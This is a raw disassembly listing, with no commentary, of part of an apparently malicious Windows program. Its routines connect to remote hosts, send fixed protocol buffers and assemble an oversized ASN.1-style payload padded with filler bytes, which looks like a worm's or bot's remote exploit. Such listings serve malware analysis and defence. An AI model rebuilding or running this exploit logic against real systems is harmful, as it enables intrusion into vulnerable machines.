		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_417330
		mov	esi, offset loc_427D08
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_417390
		mov	eax, dword_4284E0
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_40349C:				; CODE XREF: sub_403249+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_417330
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4034DB


loc_4034D4:				; CODE XREF: sub_403249+2B9j
					; sub_403249+2E0j ...
		xor	al, al
		jmp	loc_403683
; ---------------------------------------------------------------------------


loc_4034DB:				; CODE XREF: sub_403249+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		push	ebx
		push	68h
		push	offset dword_42811C
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		push	ebx
		push	0A0h
		push	offset dword_428188
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		cmp	[ebp+arg_C0], ebx
		jz	loc_4035F1
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_428340
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_417390
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_4283AC
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_417390
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_428420
		push	eax
		call	sub_417390
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_403647
; ---------------------------------------------------------------------------


loc_4035F1:				; CODE XREF: sub_403249+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_42822C
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_417390
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_4282AC
		push	eax
		call	sub_417390
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_403647:				; CODE XREF: sub_403249+3A6j
		push	eax
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034D4
		push	12Ch
		nop
		call	near ptr 2620494h
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4030E8
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_403683:				; CODE XREF: sub_403249+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403249	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_415450
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_43ADD8
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_43AD98
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_43AE18
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403790
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	loc_403790
		push	edi
		push	89h
		push	offset dword_427EA0
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		push	edi
		push	0A8h
		push	offset dword_427F2C
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		push	edi
		push	0DEh
		push	offset dword_427FD8
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		movsx	eax, byte ptr [ebp-610h]
		sub	eax, 30h
		jz	short loc_40379A
		dec	eax
		jz	short loc_403797


loc_403790:				; CODE XREF: ___:004036EBj
					; ___:00403701j ...
		xor	eax, eax
		jmp	loc_403817
; ---------------------------------------------------------------------------


loc_403797:				; CODE XREF: ___:0040378Ej
		push	edi
		jmp	short loc_4037BE
; ---------------------------------------------------------------------------


loc_40379A:				; CODE XREF: ___:0040378Bj
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403249
		add	esp, 0C4h
		test	al, al
		jnz	short loc_4037DE
		push	1


loc_4037BE:				; CODE XREF: ___:00403798j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403249
		add	esp, 0C4h
		test	al, al
		jz	short loc_4037E5


loc_4037DE:				; CODE XREF: ___:004037BAj
		mov	dword ptr [ebp-4], 1


loc_4037E5:				; CODE XREF: ___:004037DCj
		push	ebx
		call	dword_43AE30
		cmp	dword ptr [ebp-4], 0
		jz	short loc_403814
		lea	eax, [ebp-854h]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]


loc_403814:				; CODE XREF: ___:004037F0j
		push	1
		pop	eax


loc_403817:				; CODE XREF: ___:00403792j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40381C	proc near		; CODE XREF: sub_403A90+Ep
					; sub_403A90+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40381C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403826	proc near		; CODE XREF: sub_403A90+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_403858
		push	ebx
		push	0
		push	edi
		call	sub_417330
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_417390
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_403858:				; CODE XREF: sub_403826+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403826	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403860	proc near		; CODE XREF: sub_40395A+18p
					; sub_4039D4+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4038AC
		push	edi
		push	0
		push	esi
		call	sub_417330
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_417390
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_417390
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_4038AC:				; CODE XREF: sub_403860+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_403860	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038B5	proc near		; CODE XREF: sub_40395A+5Ep
					; sub_40395A+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4038C5
		push	eax
		call	sub_417C3B
		pop	ecx


loc_4038C5:				; CODE XREF: sub_4038B5+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_4038B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038CE	proc near		; CODE XREF: sub_40395A+20p
					; sub_403A35+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_4038FB
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4038FF


loc_4038FB:				; CODE XREF: sub_4038CE+Dj
		xor	al, al
		jmp	short loc_403956
; ---------------------------------------------------------------------------


loc_4038FF:				; CODE XREF: sub_4038CE+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_403924
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40393E
; ---------------------------------------------------------------------------


loc_403924:				; CODE XREF: sub_4038CE+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40393E:				; CODE XREF: sub_4038CE+54j
		push	eax
		call	sub_417390
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_417C3B
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_403956:				; CODE XREF: sub_4038CE+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4038CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40395A	proc near		; CODE XREF: sub_403A90+89p
					; sub_403A90+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_436EF4
		call	sub_403860
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_403994
		xor	al, al
		jmp	short loc_4039D0
; ---------------------------------------------------------------------------


loc_403994:				; CODE XREF: sub_40395A+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_417330
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_417390
		add	esp, 18h
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_4038B5
		mov	al, 1


loc_4039D0:				; CODE XREF: sub_40395A+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40395A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039D4	proc near		; CODE XREF: sub_403A08+14p
					; sub_403A25+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_403860
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_4039D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A08	proc near		; CODE XREF: sub_403A90+F0p
					; sub_403A90+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_417AB0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_4039D4
		pop	esi
		retn	4
sub_403A08	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A25	proc near		; CODE XREF: sub_403A71+Bp
					; sub_403A90+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4039D4
		retn	8
sub_403A25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A35	proc near		; CODE XREF: sub_403A71+16p
					; sub_403A90+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_4038CE
		test	al, al
		jz	short loc_403A6E
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_4289A7+1)
		call	sub_403860
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_403A6E:				; CODE XREF: sub_403A35+Fj
		pop	esi
		leave
		retn
sub_403A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A71	proc near		; CODE XREF: sub_403A90+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_403A25
		test	al, al
		jz	short loc_403A8C
		mov	ecx, esi
		call	sub_403A35


loc_403A8C:				; CODE XREF: sub_403A71+12j
		pop	esi
		retn	8
sub_403A71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A90	proc near		; CODE XREF: ___:00404315p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40381C
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_403DE4
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_403DE4
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40381C
		lea	ecx, [ebp+var_20]
		call	sub_40381C
		lea	ecx, [ebp+var_50]
		call	sub_40381C
		lea	ecx, [ebp+var_18]
		call	sub_40381C
		lea	ecx, [ebp+var_40]
		call	sub_40381C
		lea	ecx, [ebp+var_38]
		call	sub_40381C
		lea	ecx, [ebp+var_28]
		call	sub_40381C
		push	4
		push	offset dword_428648
		lea	ecx, [ebp+var_30]
		call	sub_4039D4
		push	3
		push	offset dword_428650
		lea	ecx, [ebp+var_30]
		call	sub_4039D4
		lea	ecx, [ebp+var_30]
		call	sub_40395A
		lea	ecx, [ebp+var_30]
		call	sub_403A35
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset byte_42863C
		call	sub_4039D4
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_4039D4
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_20]
		call	sub_40395A
		push	offset loc_4289D0
		lea	ecx, [ebp+var_50]
		call	sub_403A08
		lea	ecx, [ebp+var_50]
		call	sub_40395A
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_403826
		lea	ecx, [ebp+var_58]
		call	sub_40395A
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_403A71
		lea	ecx, [ebp+var_58]
		call	sub_4038B5
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_403A08
		push	4
		push	offset dword_428654
		lea	ecx, [ebp+var_18]
		call	sub_4039D4
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_4039D4
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_18]
		call	sub_40395A
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_403A25
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_403A25
		lea	ecx, [ebp+var_40]
		call	sub_403A35
		lea	ecx, [ebp+var_18]
		call	sub_4038B5
		lea	ecx, [ebp+var_50]
		call	sub_4038B5
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_403A25
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_403A25
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_403A25
		lea	ecx, [ebp+var_38]
		call	sub_403A35
		lea	ecx, [ebp+var_20]
		call	sub_4038B5
		lea	ecx, [ebp+var_30]
		call	sub_4038B5
		lea	ecx, [ebp+var_40]
		call	sub_4038B5
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_28]
		call	sub_40395A
		push	2
		push	offset dword_4289C4
		lea	ecx, [ebp+var_28]
		call	sub_4039D4
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_403A25
		lea	ecx, [ebp+var_28]
		call	sub_403A35
		lea	ecx, [ebp+var_38]
		call	sub_4038B5
		lea	ecx, [ebp+var_10]
		call	sub_40381C
		lea	ecx, [ebp+var_8]
		call	sub_40381C
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_403A25
		lea	ecx, [ebp+var_10]
		call	sub_4038CE
		lea	ecx, [ebp+var_28]
		call	sub_4038B5
		push	offset dword_4289C0
		lea	ecx, [ebp+var_8]
		call	sub_403A08
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		lea	ecx, [ebp+var_10]
		call	sub_4038B5
		push	offset dword_4289BC
		lea	ecx, [ebp+var_10]
		call	sub_403A08
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_403A25
		lea	ecx, [ebp+var_10]
		call	sub_4038CE
		lea	ecx, [ebp+var_8]
		call	sub_4038B5
		push	offset dword_4289B0
		lea	ecx, [ebp+var_8]
		call	sub_403A08
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		lea	ecx, [ebp+var_10]
		call	sub_4038B5
		push	offset dword_4289AC
		lea	ecx, [ebp+var_48]
		call	sub_403A08
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038B5
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_403DF2
; ---------------------------------------------------------------------------


loc_403DE4:				; CODE XREF: sub_403A90+1Bj
					; sub_403A90+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_403DF2:				; CODE XREF: sub_403A90+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_403A90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF6	proc near		; CODE XREF: sub_403EBA+A1p
					; sub_403EBA+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_403E5D
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_422A46
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_403E61


loc_403E5D:				; CODE XREF: sub_403DF6+54j
		xor	eax, eax
		jmp	short loc_403E71
; ---------------------------------------------------------------------------


loc_403E61:				; CODE XREF: sub_403DF6+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_43ADB0


loc_403E71:				; CODE XREF: sub_403DF6+69j
		pop	edi
		pop	esi
		leave
		retn
sub_403DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E75	proc near		; CODE XREF: sub_403EBA+81p
					; sub_403EBA+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_43AD94
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		cmp	eax, 4
		jz	short loc_403E9F
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_403E9F:				; CODE XREF: sub_403E75+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_43ADE8
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_403E75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EBA	proc near		; CODE XREF: sub_403F94+48p
					; ___:00404406p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_403EE3
		xor	al, al
		jmp	loc_403F8F
; ---------------------------------------------------------------------------


loc_403EE3:				; CODE XREF: sub_403EBA+20j
		push	ebx
		push	0
		push	esi
		call	sub_417330
		push	2Fh
		push	offset dword_4286E4
		push	esi
		call	sub_417390
		push	8
		lea	eax, [esi+31h]
		push	offset dword_428714
		push	eax
		mov	[esi+2Fh], di
		call	sub_417390
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_417390
		push	6
		add	ebx, edi
		push	offset dword_436EEC
		push	ebx
		call	sub_417390
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_42865C
		push	ebx
		call	sub_403E75
		add	esp, 48h
		test	al, al
		jnz	short loc_403F4B


loc_403F47:				; CODE XREF: sub_403EBA+B5j
		xor	bl, bl
		jmp	short loc_403F86
; ---------------------------------------------------------------------------


loc_403F4B:				; CODE XREF: sub_403EBA+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DF6
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_403E75
		add	esp, 1Ch
		test	al, al
		jz	short loc_403F47
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DF6
		add	esp, 10h
		mov	bl, 1


loc_403F86:				; CODE XREF: sub_403EBA+8Fj
		push	esi
		call	sub_417C3B
		pop	ecx
		mov	al, bl


loc_403F8F:				; CODE XREF: sub_403EBA+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F94	proc near		; CODE XREF: ___:004043ECp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_428720
		push	[ebp+arg_0]
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 48h
		jnz	short loc_403FCF
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_403DF6
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403FCF
		cmp	[ebp+var_20], 82h
		jz	short loc_403FD3


loc_403FCF:				; CODE XREF: sub_403F94+1Bj
					; sub_403F94+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_403FD3:				; CODE XREF: sub_403F94+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403EBA
		add	esp, 0Ch
		leave
		retn
sub_403F94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FE6	proc near		; CODE XREF: sub_404032+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_424278
		call	sub_417DC4
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_424270
		fstp	[esp+10h+var_10]
		call	sub_417CA4
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_417DC4
		inc	eax
		leave
		retn
sub_403FE6	endp


